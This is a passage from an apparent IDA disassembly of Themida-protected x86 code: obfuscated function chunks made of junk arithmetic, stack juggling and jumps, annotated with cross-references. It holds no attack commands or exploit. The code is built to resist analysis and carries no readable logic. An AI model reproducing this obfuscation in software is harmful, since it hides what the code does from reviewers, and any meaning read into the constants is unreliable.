; ---------------------------------------------------------------------------


loc_557F99:				; CODE XREF: sub_559C84-4C57j
		push	esi
		push	esp
		jmp	loc_55DEFA
; ---------------------------------------------------------------------------


loc_557FA0:				; CODE XREF: sub_559C84-60Cj
		add	esi, 4
		xchg	esi, [esp+52h+var_52]
		pop	esp
		jmp	loc_555B79
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_557FAF	proc near		; DATA XREF: Themida_:00553478o
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	dword ptr [esp+0], cl
		pushf
		jmp	loc_55351F
sub_557FAF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_557FBE:				; CODE XREF: sub_559C84+34B0j
		add	edx, 49E67266h
		sub	edx, 15330BAFh
		jmp	loc_55812D
; ---------------------------------------------------------------------------


loc_557FCF:				; CODE XREF: sub_559C84-1300j
		push	esi
		push	eax
		jmp	loc_559E75
; ---------------------------------------------------------------------------


loc_557FD6:				; CODE XREF: sub_559C84-386Ej
		add	ebx, 4
		xchg	ebx, [esp+5Eh+var_60+2]
		pop	esp
		push	4740h
		mov	[esp+5Eh+var_60+2], ebx
		jmp	loc_55CEDE
; ---------------------------------------------------------------------------


loc_557FED:				; CODE XREF: sub_559C84-2690j
		pop	edx
		push	[esp+4Eh+var_4E]
		pop	eax
		jmp	loc_5593F5
; ---------------------------------------------------------------------------


loc_557FF7:				; CODE XREF: sub_559C84-2778j
		add	esp, 4
		sub	ebx, edi
		jmp	loc_559437
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558BA2


loc_558001:				; CODE XREF: sub_558BA2+Ej
		add	ecx, ebx
		pop	ebx
		xor	eax, ecx
		mov	ecx, [esp+0]
		jmp	loc_55391C
; END OF FUNCTION CHUNK	FOR sub_558BA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55800E:				; CODE XREF: sub_559C84-64A1j
		pop	eax
		push	17ABh
		mov	[esp+24h+var_24], esi
		jmp	loc_55F31F
; ---------------------------------------------------------------------------


loc_55801C:				; CODE XREF: sub_559C84+1791j
		mov	ax, word ptr [esp+24h+var_24]
		jmp	loc_55866A
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_558025:				; CODE XREF: Themida_:00557A51j
		pop	esp
		jmp	loc_55AACE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55802B:				; CODE XREF: sub_559C84+621j
		add	eax, 4
		xchg	eax, [esp+24h+var_24]
		pop	esp
		push	edx
		mov	edx, esp
		jmp	loc_557B5B
; ---------------------------------------------------------------------------


loc_55803C:				; CODE XREF: sub_559C84-39BFj
		or	ebp, 1CF75158h
		dec	ebp
		xor	ebp, 3BBC56AEh
		sub	ebp, 3CC1BF75h
		and	edi, ebp
		pop	ebp
		jmp	loc_559A9A
; ---------------------------------------------------------------------------


loc_558057:				; CODE XREF: sub_559C84+3E45j
		mov	eax, esp
		push	ebp
		push	edi
		mov	edi, 6CD174CAh
		jmp	loc_55CA14
; ---------------------------------------------------------------------------


loc_558065:				; CODE XREF: sub_559C84+398j
		push	edi
		mov	edi, esp
		push	90Fh
		mov	[esp+48h+var_4A+2], eax
		push	ebx
		push	edx
		push	32EA73B3h
		pop	edx
		jmp	loc_55987A
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5538DF


loc_55807D:				; CODE XREF: sub_5538DF+Bj
		pop	ebx
		neg	dh
		push	bx
		jmp	loc_558649
; END OF FUNCTION CHUNK	FOR sub_5538DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_558087:				; CODE XREF: sub_559C84+5AF0j
		sub	ebp, ecx
		mov	ecx, [esp+50h+var_52+2]
		jmp	loc_55BE52
; ---------------------------------------------------------------------------


loc_558091:				; CODE XREF: sub_559C84+D8Ej
		push	[esp+50h+var_52+2]
		pop	edi
		add	esp, 4
		sub	esp, 4
		mov	[esp+50h+var_52+2], edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		jmp	loc_55EA45
; ---------------------------------------------------------------------------


loc_5580AB:				; CODE XREF: sub_559C84-1016j
		mov	ebx, 4
		sub	esi, 258163B0h
		add	esi, ebx
		jmp	loc_554CF3
; ---------------------------------------------------------------------------


loc_5580BD:				; CODE XREF: sub_559C84-3C62j
		bswap	eax
		push	31B6h
		mov	[esp+46h+var_46], eax
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_5580CC:				; CODE XREF: sub_559C84-755j
		mov	bh, dh
		pop	edx
		jmp	loc_55B32C
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55F569


loc_5580D4:				; CODE XREF: sub_55F569-7292j
		push	esi
		mov	esi, 0E085346h
		or	esi, 662B0F8Fh
		shl	esi, 3
		jmp	loc_55ADD8
; END OF FUNCTION CHUNK	FOR sub_55F569
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	548Dh
		jmp	loc_55CDAC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_558105:				; CODE XREF: sub_559C84+3DD9j
		xor	ch, 0FDh
		add	al, 4Ch
		sub	al, ch
		jmp	loc_55616E
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_558111:				; CODE XREF: Themida_:0055656Cj
		pop	ecx
		jmp	loc_55D2DB
; ---------------------------------------------------------------------------


loc_558117:				; CODE XREF: Themida_:005554E9j
		mov	cl, 0A6h
		sub	dh, cl
		pop	cx
		and	ch, dh
		pop	edx
		sub	ch, 88h
		sub	al, ch
		mov	ecx, [esp]
		jmp	loc_5587D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55812D:				; CODE XREF: sub_559C84-1CBAj
		add	edx, edi
		add	edx, 15330BAFh
		push	ebx
		mov	ebx, 385523FDh
		inc	ebx
		neg	ebx
		shl	ebx, 8
		jmp	loc_55E0F3
; ---------------------------------------------------------------------------


loc_558146:				; CODE XREF: sub_559C84+1633j
		and	edi, 28690070h
		shl	edi, 7
		shr	edi, 6
		xchg	ebp, edi
		not	ebp
		xor	edi, ebp
		xor	ebp, edi
		xor	edi, ebp
		push	edx
		jmp	loc_55FA86
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_558162:				; CODE XREF: Themida_:005587DCj
		push	dx
		jmp	loc_553AE5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_558169:				; CODE XREF: sub_559C84+3A4Dj
		xor	[esp+56h+var_58+2], ebp
		xor	ebp, [esp+56h+var_58+2]
		mov	esp, [esp+56h+var_58+2]
		jmp	loc_55351F
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_558177:				; CODE XREF: Themida_:0055F0D9j
		mov	esi, 161625F9h
		jmp	loc_55D4D5
; ---------------------------------------------------------------------------


loc_558181:				; CODE XREF: Themida_:0055EB0Ej
		xor	edi, 5BBA3461h
		dec	edi
		sub	edi, 384CB3E2h
		sub	eax, edi
		pop	edi
		push	ebp
		mov	ebp, 428D2B36h
		inc	ebp
		add	ebp, 13E80CBFh
		neg	ebp
		add	ebp, 3C8D1928h
		add	ebp, 1AAC4A95h
		add	ebp, 22D2E12h
		add	eax, ebp
		pop	ebp
		add	eax, ebx
		push	edx
		push	edi
		mov	edi, 5CB1243h
		jmp	loc_557873
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5581C3:				; CODE XREF: sub_559C84-EF4j
		add	ebp, esi
		mov	esi, [esp+56h+var_58+2]
		jmp	loc_55AA8E
; ---------------------------------------------------------------------------


loc_5581CD:				; CODE XREF: sub_559C84+3652j
		sub	ebx, eax
		push	eax
		jmp	loc_55C5FD
; ---------------------------------------------------------------------------


loc_5581D5:				; CODE XREF: sub_559C84+2D4Cj
		xor	ecx, 7DEA2972h
		sub	ecx, 0AFAA21DDh
		or	edx, ecx
		pop	ecx
		inc	edx
		sub	edx, 0FFFFFFFFh
		sub	edx, 7BE4567Fh
		push	edi
		mov	edi, 311737D5h
		xor	edi, 1A6FD8F8h
		add	edx, edi
		jmp	loc_558AF4
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_558204	proc near		; CODE XREF: sub_559C84-48E7j

var_4		= dword	ptr -4

		push	ebx
		mov	eax, [esp+4+var_4]
		add	esp, 4
		mov	edx, eax
		pop	eax
		jmp	loc_55D69B
sub_558204	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_558213:				; CODE XREF: sub_559C84-3CAEj
		sub	eax, 45C56F68h
		jmp	loc_55DFEA
; ---------------------------------------------------------------------------


loc_55821D:				; CODE XREF: sub_559C84-2C19j
		add	ebx, edx
		pop	edx
		sub	ebx, 57232CE8h
		add	ebx, eax
		add	ebx, 57232CE8h
		push	edi
		push	ecx
		jmp	loc_55913D
; ---------------------------------------------------------------------------


loc_558235:				; CODE XREF: sub_559C84+15DAj
		mov	ecx, 2
		sub	ebp, 7DB82F96h
		add	ebp, 1BA62DA4h
		add	ebp, ecx
		sub	ebp, 1BA62DA4h
		jmp	loc_55B214
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555BE3


loc_558253:				; CODE XREF: sub_555BE3+197Ej
		push	edi
		push	[esp+8+var_4]
		jmp	loc_55DD59
; END OF FUNCTION CHUNK	FOR sub_555BE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55825D:				; CODE XREF: sub_559C84+3E83j
		mov	ecx, edx
		jmp	loc_55EDB4
; ---------------------------------------------------------------------------


loc_558264:				; CODE XREF: sub_559C84-BACj
		mov	al, 0F4h
		not	al
		and	al, 66h
		xor	al, 6Ch
		jmp	loc_55EFE6
; ---------------------------------------------------------------------------


loc_558271:				; CODE XREF: sub_559C84-61FCj
		mov	eax, esp
		add	eax, 4
		push	6455h
		mov	[esp+4Ah+var_4A], ebx
		mov	ebx, 69186683h
		sub	ebx, 6918667Fh
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp+46h+var_46]
		mov	esp, [esp+46h+var_46]
		push	[esp+46h+var_46]
		push	[esp+4Ah+var_4A]
		pop	ecx
		push	ebp
		mov	ebp, esp
		push	5325h
		mov	[esp+52h+var_52], ecx
		mov	ecx, 4AD130D2h
		or	ecx, 784C19FDh
		neg	ecx
		jmp	loc_55B642
; ---------------------------------------------------------------------------


loc_5582B8:				; CODE XREF: sub_559C84-51CCj
		mov	ebx, edx
		jmp	loc_558F4B
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_5582BF:				; CODE XREF: Themida_:00559633j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esp
		push	ebx
		jmp	loc_55C6A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55F569


loc_5582D5:				; CODE XREF: sub_55F569+12j
		sub	ebx, esi
		jmp	loc_5580D4
; END OF FUNCTION CHUNK	FOR sub_55F569
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_5592BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5582F6:				; CODE XREF: sub_559C84+5423j
		mov	[edx+30h], ecx
		pop	ecx
		popa
		popf
		retn
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		jmp	loc_55351F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_558302:				; CODE XREF: sub_559C84-B91j
		add	eax, ebx
		mov	[eax], dl
		jmp	loc_55F68A
; ---------------------------------------------------------------------------


loc_55830B:				; CODE XREF: sub_559C84+4D64j
		mov	ecx, esp
		push	esi
		jmp	loc_5561CD
; ---------------------------------------------------------------------------


loc_558313:				; CODE XREF: sub_559C84-1339j
		mov	edi, esp
		add	edi, 4
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], ebx
		mov	ebx, 2
		jmp	sub_5591C7
; ---------------------------------------------------------------------------


loc_55832E:				; CODE XREF: sub_559C84+3EA6j
		pop	esi
		or	ebp, 59BB5A12h
		jmp	loc_55CF55
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		push	dword ptr [edi+2Ch]
		jmp	loc_55C447
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_558342:				; CODE XREF: sub_559C84+BB7j
		push	eax
		mov	eax, 4426165h
		add	edi, 2A036470h
		sub	edi, eax
		sub	edi, 2A036470h
		pop	eax
		sub	edi, 2680AC2h
		sub	edi, 177252B3h
		mov	ecx, [esp+26h+var_28+2]
		add	esp, 4
		add	edi, 2
		push	edi
		push	[esp+26h+var_24+2]
		pop	edi
		jmp	loc_55912C
; ---------------------------------------------------------------------------


loc_55837A:				; CODE XREF: sub_559C84+4CA8j
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		push	ebp
		mov	ebp, 22C06EB4h
		jmp	loc_559CC7
; ---------------------------------------------------------------------------


loc_558390:				; CODE XREF: sub_559C84-49F5j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+56h+var_58+2]
		pop	esp
		mov	edx, [esp+52h+var_52]
		add	esp, 4
		jmp	loc_55351F
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_5583A8:				; CODE XREF: Themida_:00557A9Bj
		push	edi
		sub	dword ptr [esp], 6CA97ED6h
		pop	ecx
		add	ecx, 6CA97ED6h
		pop	edi
		add	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_559276
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5583CC:				; CODE XREF: sub_559C84+3DC8j
		mov	ecx, [esp+4Eh+var_4E]
		jmp	loc_556237
; ---------------------------------------------------------------------------


loc_5583D4:				; CODE XREF: sub_559C84-B7j
		or	edx, ecx
		pop	ecx
		inc	edx
		inc	edx
		xor	edx, 16FF1FDFh
		sub	eax, edx
		pop	edx
		add	eax, ebp
		push	ebx
		mov	ebx, 0A8D0B99h
		xor	ebx, 23C465A7h
		shl	ebx, 3
		shr	ebx, 4
		xor	ebx, 70951E79h
		add	ebx, 0F7927748h
		add	eax, ebx
		pop	ebx
		pop	ebp
		sub	eax, 4
		xor	eax, [esp+42h+var_42]
		xor	[esp+42h+var_42], eax
		xor	eax, [esp+42h+var_42]
		mov	esp, [esp+42h+var_42]
		mov	[esp+42h+var_42], eax
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55841D:				; CODE XREF: sub_559C84+11D9j
		mov	dx, word ptr [esp+42h+var_42]
		jmp	loc_55D078
; ---------------------------------------------------------------------------


loc_558426:				; CODE XREF: sub_559C84+4AA6j
		push	30D6h
		mov	[esp+46h+var_46], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5546A7
; ---------------------------------------------------------------------------


loc_55843B:				; CODE XREF: sub_559C84-2CEEj
		pop	cx
		sub	di, 0A035h
		add	bx, di
		pop	edi
		add	bx, ax
		push	dx
		mov	dx, 5906h
		xor	dx, 527Ah
		jmp	loc_55AE32
; ---------------------------------------------------------------------------


loc_558459:				; CODE XREF: sub_559C84-543j
		sub	ecx, 0FDCD7C7Ch
		add	edx, ecx
		pop	ecx
		jmp	loc_55F8AE
; ---------------------------------------------------------------------------


loc_558467:				; CODE XREF: sub_559C84+F4Cj
		pop	ecx
		jmp	loc_55E4CA
; ---------------------------------------------------------------------------


loc_55846D:				; CODE XREF: sub_559C84+39FAj
		shr	edx, 4
		shr	edx, 6
		not	edx
		add	edx, 65EA2CFCh
		xor	edx, 65C3310Ah
		add	esi, edx
		pop	edx
		push	ecx
		jmp	loc_55DF6D
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55848A:				; CODE XREF: Themida_:00554A1Dj
		push	esi
		mov	esi, 58B31E98h
		shr	esi, 8
		shr	esi, 2
		jmp	loc_55AF65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55849B:				; CODE XREF: sub_559C84-161Fj
		pop	[esp+3Eh+var_3E]
		add	[esp+3Ah+var_3A], 4
		mov	edx, [esp+3Ah+var_3A]
		add	esp, 4
		add	edx, 4
		sub	esp, 4
		jmp	loc_55E198
; ---------------------------------------------------------------------------


loc_5584BC:				; CODE XREF: sub_559C84-B5Dj
		xor	ch, 2Ah
		xor	al, ch
		push	[esp+3Ah+var_3A]
		mov	ecx, [esp+3Eh+var_3E]
		jmp	loc_556BFC
; ---------------------------------------------------------------------------


loc_5584CC:				; CODE XREF: sub_559C84+50CAj
		mov	ch, bl
		jmp	loc_5593EB
; ---------------------------------------------------------------------------


loc_5584D3:				; CODE XREF: sub_559C84-34ACj
		pop	edx
		pop	ebp
		jmp	loc_55D099
; ---------------------------------------------------------------------------


loc_5584DA:				; CODE XREF: sub_559C84+3EE5j
		add	al, bl
		push	small 0E53h
		jmp	loc_554540
; ---------------------------------------------------------------------------


loc_5584E5:				; CODE XREF: sub_559C84+323Aj
		push	ecx
		mov	ecx, 422E3DB2h
		add	edx, ecx
		pop	ecx
		sub	edx, ebp
		sub	edx, 422E3DB2h
		mov	ebp, [esp+5Ah+var_5C+2]
		jmp	loc_559C01
; ---------------------------------------------------------------------------


loc_5584FE:				; CODE XREF: sub_559C84+4119j
		sub	al, 76h
		sub	al, dh
		add	al, 76h
		pop	dx
		sub	esp, 4
		mov	[esp+5Ch+var_5C], ebx
		mov	bl, 6Ch
		xchg	al, bl
		not	al
		xchg	al, bl
		jmp	loc_5572C6
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55851C:				; CODE XREF: Themida_:005569B7j
		pop	ebx
		jmp	loc_55D3A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_558522:				; CODE XREF: sub_559C84+33BCj
		add	byte ptr [esp+5Ch+var_5C], al
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55852B:				; CODE XREF: sub_559C84+1051j
		add	edi, 4
		jmp	loc_5564AE
; ---------------------------------------------------------------------------


loc_558533:				; CODE XREF: sub_559C84-4D06j
		sub	edx, esi
		jmp	loc_556802
; ---------------------------------------------------------------------------


loc_55853A:				; CODE XREF: sub_559C84+2D02j
		push	ecx
		mov	cl, 5Eh
		mov	dh, cl
		push	[esp+56h+var_58+2]
		pop	ecx
		add	esp, 4
		not	dh
		sub	esp, 2
		mov	word ptr [esp+56h+var_58+2], bx
		push	eax
		mov	ah, dh
		mov	bh, ah
		mov	eax, [esp+5Ah+var_5C+2]
		add	esp, 4
		not	bh
		mov	dh, bh
		pop	bx
		xor	dh, 76h
		not	dh
		push	eax
		jmp	loc_554F0B
; ---------------------------------------------------------------------------


loc_558571:				; CODE XREF: sub_559C84+614j
		sub	bl, 0E4h
		push	ecx
		mov	ch, 2
		jmp	loc_5562D3
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55857C:				; CODE XREF: Themida_:00558EE0j
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_55C5EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55858E:				; CODE XREF: sub_559C84+5785j
		mov	[esp+5Ch+var_5C], ebp
		push	esp
		mov	ebp, [esp+60h+var_60]
		add	esp, 4
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	[esp+60h+var_5C]
		pop	ebp
		pop	[esp+60h+var_60]
		mov	esp, [esp+5Ch+var_5C]
		jmp	loc_559BBA
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_5585B5:				; CODE XREF: Themida_:0055F468j
		and	ecx, 7D5C7E76h
		jmp	loc_553B35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559A2E


loc_5585C0:				; CODE XREF: sub_559A2E-4129j
		add	esp, 4
		push	2BABh
		mov	[esp+0], ecx
		jmp	loc_55B3AE
; END OF FUNCTION CHUNK	FOR sub_559A2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5585D3:				; CODE XREF: sub_559C84+2170j
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		push	ebp
		push	[esp+5Ch+var_58]
		pop	ebp
		pop	[esp+5Ch+var_5C]
		pop	esp
		add	esp, 4
		jmp	loc_55C98B
; ---------------------------------------------------------------------------


loc_5585EE:				; CODE XREF: sub_559C84-2F31j
		xor	al, bl
		pop	ebx
		sub	bl, al
		pop	ax
		push	eax
		mov	al, 0ADh
		dec	al
		neg	al
		or	al, 0D4h
		sub	al, 0A9h
		sub	bl, al
		pop	eax
		sub	bl, al
		add	bl, 2Bh
		jmp	loc_5554C3
; ---------------------------------------------------------------------------


loc_55860D:				; CODE XREF: sub_559C84+B65j
		pop	eax
		xor	ecx, esi
		pop	esi
		not	ecx
		add	ecx, 0E01042B3h
		jmp	loc_55ED33
; ---------------------------------------------------------------------------


loc_55861E:				; CODE XREF: sub_559C84+1674j
		mov	[esp+32h+var_34+2], ebp
		mov	ebp, 21F9330Dh
		push	ecx
		mov	ecx, 36E310D6h
		shr	ecx, 8
		jmp	loc_55D296
; ---------------------------------------------------------------------------


loc_558634:				; CODE XREF: sub_559C84+4806j
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 4
		add	edx, edi
		jmp	loc_55A5AD
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5538DF


loc_558649:				; CODE XREF: sub_5538DF+47A3j
		mov	bh, 14h
		add	dh, bh
		mov	bx, [esp+2+var_2]
		add	esp, 2
		add	cl, dh
		pop	edx
		jmp	loc_559375
; END OF FUNCTION CHUNK	FOR sub_5538DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5597C1


loc_55865C:				; CODE XREF: sub_5597C1+53j
		mov	esi, [esp+0Ch+var_C]
		jmp	loc_559BF3
; END OF FUNCTION CHUNK	FOR sub_5597C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_558664:				; CODE XREF: sub_559C84+51Fj
		push	esp
		jmp	loc_55849B
; ---------------------------------------------------------------------------


loc_55866A:				; CODE XREF: sub_559C84-1C64j
		push	ecx
		mov	ecx, esp
		push	559Fh
		jmp	loc_55CB94
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_558677:				; DATA XREF: Themida_:00553350o
		push	small 459Eh
		mov	[esp], sp
		jmp	loc_55F4AD

; =============== S U B	R O U T	I N E =======================================



sub_558684	proc near		; DATA XREF: Themida_:00553470o
		lodsd
		cmp	dword ptr [edi+20h], 0
		jz	loc_556718
		sub	esi, 45573859h
		sub	esi, 3D5C6372h
		add	esi, eax
		jmp	loc_55BBBA
sub_558684	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5586A2:				; CODE XREF: sub_559C84-A13j
		push	eax
		mov	eax, 579A7B68h
		mov	edx, eax
		mov	eax, [esp+30h+var_30]
		add	esp, 4
		dec	edx
		inc	edx
		not	edx
		sub	edx, 667726A4h
		jmp	loc_556468
; ---------------------------------------------------------------------------


loc_5586C2:				; CODE XREF: sub_559C84+27BEj
		sub	ebx, eax
		add	ebx, 735B1EFCh
		sub	ebx, 115F2119h
		push	ecx
		mov	ecx, esp
		push	6D9Eh
		jmp	loc_55CD58
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_5586DD	proc near		; CODE XREF: sub_559C84-21FFj
		push	ebx
		mov	bl, 0E2h
		mov	al, 35h
		jmp	loc_55BABE
sub_5586DD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555D07


loc_5586E7:				; CODE XREF: sub_555D07+7F52j
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		sub	ebp, 4EB963E7h
		add	ebp, esi
		add	ebp, 4EB963E7h
		mov	esi, [esp+4+var_4]
		add	esp, 4
		push	edi
		jmp	loc_55AE80
; END OF FUNCTION CHUNK	FOR sub_555D07
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55870A:				; CODE XREF: sub_559C84+80Dj
		pop	ebx
		push	edi
		jmp	loc_55CCF5
; ---------------------------------------------------------------------------


loc_558711:				; CODE XREF: sub_559C84+3338j
		pop	eax
		xchg	esi, [esp+30h+var_30]
		pop	esp
		mov	[esp+2Ch+var_2C], eax
		xor	[esp+2Ch+var_2C], edx
		jmp	loc_5569BC
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557920


loc_558721:				; CODE XREF: sub_557920-691j
		mov	ebx, ecx
		pop	ecx
		sub	ebx, 315A636Dh
		jmp	loc_55EEDC
; END OF FUNCTION CHUNK	FOR sub_557920
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55872F:				; CODE XREF: sub_559C84-1CF0j
		pop	eax
		mov	[edi+eax*4], ch
		mov	ecx, [esp+4Ah+var_4A]
		add	esp, 4
		push	[esp+46h+var_46]
		jmp	loc_55790E
; ---------------------------------------------------------------------------


loc_558741:				; CODE XREF: sub_559C84-3D4Ej
		xchg	esi, [esp+4Eh+var_4E]
		jmp	loc_55F26B
; ---------------------------------------------------------------------------


loc_558749:				; CODE XREF: sub_559C84+2582j
		xchg	ebx, [esp+4Eh+var_4E]
		pop	esp
		mov	[esp+4Ah+var_4A], edx
		push	ecx
		jmp	loc_55BEF7
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_558756	proc near		; CODE XREF: sub_559C84+14FFj
		push	ebp
		mov	ebp, 2B2D1C06h
		add	esi, ebp
		pop	ebp
		jmp	loc_55A0FE
sub_558756	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_558764:				; CODE XREF: sub_559C84+27F2j
		xchg	eax, ebx
		not	eax
		xchg	eax, ebx
		jmp	loc_55F383
; ---------------------------------------------------------------------------


loc_55876D:				; CODE XREF: sub_559C84+17CFj
		add	ecx, 4
		xchg	ecx, [esp+4Eh+var_4E]
		jmp	loc_55BBD5
; ---------------------------------------------------------------------------


loc_558778:				; CODE XREF: sub_559C84+11B3j
		mov	ax, word ptr [esp+4Eh+var_4E]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 2
		xchg	edx, [esp+52h+var_52]
		pop	esp
		jmp	loc_55F5F0
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555531


loc_558791:				; CODE XREF: sub_555531+1j
		mov	ebp, 5138045Fh
		mov	ebx, 0ADD63B47h
		jmp	loc_55397D
; END OF FUNCTION CHUNK	FOR sub_555531
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5561B6


loc_5587A0:				; CODE XREF: sub_5561B6+70Ej
		sub	ebx, 5DDDC170h
		add	ebp, ebx
		jmp	loc_55E7A9
; END OF FUNCTION CHUNK	FOR sub_5561B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555C35


loc_5587AD:				; CODE XREF: sub_555C35+1j
		not	[esp+4+var_4]
		pop	ebx
		push	ebp
		mov	ebp, 37AA3474h
		neg	ebp
		neg	ebp
		or	ebp, 66FC7827h
		add	ebp, 0B740D70Bh
		jmp	loc_55C10C
; END OF FUNCTION CHUNK	FOR sub_555C35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5587CC:				; CODE XREF: sub_559C84+50F8j
		pop	eax
		add	eax, ecx
		pop	ecx
		jmp	loc_557B03
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_5587D5:				; CODE XREF: Themida_:00558128j
		add	esp, 4
		add	al, 18h
		sub	al, bl
		jmp	loc_558162
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5587E1:				; CODE XREF: sub_559C84-3B28j
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp+3Ch+var_3E+2]
		pop	esp
		mov	fs:[edx], al
		jmp	loc_557F0D
; ---------------------------------------------------------------------------


loc_5587F0:				; CODE XREF: sub_559C84+55ADj
		sub	esi, 4
		xchg	esi, [esp+38h+var_3A+2]
		pop	esp
		jmp	loc_55A47E
; ---------------------------------------------------------------------------


loc_5587FC:				; CODE XREF: sub_559C84-2BCCj
		add	edi, ebx
		pop	ebx
		jmp	sub_556D03
; ---------------------------------------------------------------------------


loc_558804:				; CODE XREF: sub_559C84-47BEj
